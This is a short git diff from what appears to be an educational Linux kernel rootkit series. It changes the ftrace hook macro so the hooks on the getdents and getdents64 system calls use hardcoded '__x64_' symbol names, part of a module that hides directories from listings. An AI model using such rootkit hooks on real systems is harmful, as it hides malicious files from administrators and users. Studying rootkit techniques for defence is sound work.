diff --git a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h index 4e76d01..db0fba2 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h +++ b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h @@ -26,16 +26,9 @@ }; #endif -/* x64 has to be special and require a different naming convention */ -#ifdef PTREGS_SYSCALL_STUBS -#define SYSCALL_NAME(name) ("__x64_" name) -#else -#define SYSCALL_NAME(name) (name) -#endif - #define HOOK(_name, _hook, _orig) \ { \ - .name = SYSCALL_NAME(_name), \ + .name = (_name), \ .function = (_hook), \ .original = (_orig), \ } diff --git a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c index a67fdc5..6891129 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c +++ b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c @@ -347,8 +347,8 @@ /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { - HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), - HOOK("sys_getdents", hook_getdents, &orig_getdents), + HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64), + HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents), }; /* Module initialization function */